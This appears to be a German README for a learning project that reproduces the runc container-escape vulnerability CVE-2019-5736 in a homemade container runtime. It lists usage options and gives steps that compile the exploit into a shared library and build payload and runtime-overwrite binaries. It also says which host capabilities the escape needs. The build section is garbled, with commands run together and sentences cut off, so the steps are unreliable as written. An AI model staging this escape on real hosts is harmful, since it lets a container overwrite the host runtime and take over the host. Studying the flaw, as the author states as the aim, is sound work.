
CVE-2019-5736 implementiert in einer selbstgeschriebenen Container-Runtime, um den Exploit zu verstehen.
CVE-2019-5736 implementiert mithilfe einer einfachen, selbst geschriebenen Container-Runtime, um den Exploit zu verstehen.
Der Exploit basiert auf (und ist fast vollständig kopiert von) dem runc-poc von twistlock: https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/malicious_image_POC
Weitere Details finden sich in den Codedokumentationen.
Usage: quarantine [OPTIONS] [BINARY and its ARGS]
--rootfs: (mandatory) Specify a rootfs for the container.
--urange: Specify a urange start_host:end_host,start_guest.
--grange: Specify a grange start_host:end_host,start_guest.
--uid: Specify the desired UID in the container.
--ugd: Specify the desired GID in the container.
--supp: Append supplementary groups from the specified grange to the process running in the container.
Führt für alle Namespaces ein Unshare durch, mit Ausnahme des User-Namespace. Der User-Namespace wird unter besonderen Umständen ebenfalls per Unshare abgetrennt, d. h. wenn urange, grange, uid und/oder gid angegeben sind.
Dies wurde auf Ubuntu 18.04 getestet und durchgeführt.
mkdir rootfssudo debootstrap bionic ./rootfsgit clone https://github.com/mhiramat/libcapcat exploit_code_for_shared_lib.c >> <any cap*.c, I used cap_alloc.c>makelibcap.so linken kannst
sudo chroot rootfsapt install libcap-devlibcap.so.2.25 in das passende Rootfs-Verzeichnis
-sudo cp libcap.so.2.25 rootfs/lib/x86_64-linux-gnu
ldd quarantinesudo cp shebang_exploit rootfs/sudo gcc -o rootfs/root/payload payload.csudo gcc -o rootfs/overwrite_sndbx_runtime overwrite_sndbx_runtime.cZum Beispiel: sudo ./quarantine --rootfs rootfs /shebang_exploit oder ./quarantine --rootfs rootfs --uid 1 /shebang_exploit.
Es funktioniert, solange du entweder CAP_DAC_OVERRIDE oder CAP_SYS_ADMIN auf dem Host behältst, d. h. beim Verwenden von sudo kein Unshare des User-Namespace durchführst (da dies die Capabilities im übergeordneten Namespace verwirft), oder du die Datei auf dem Host besitzt.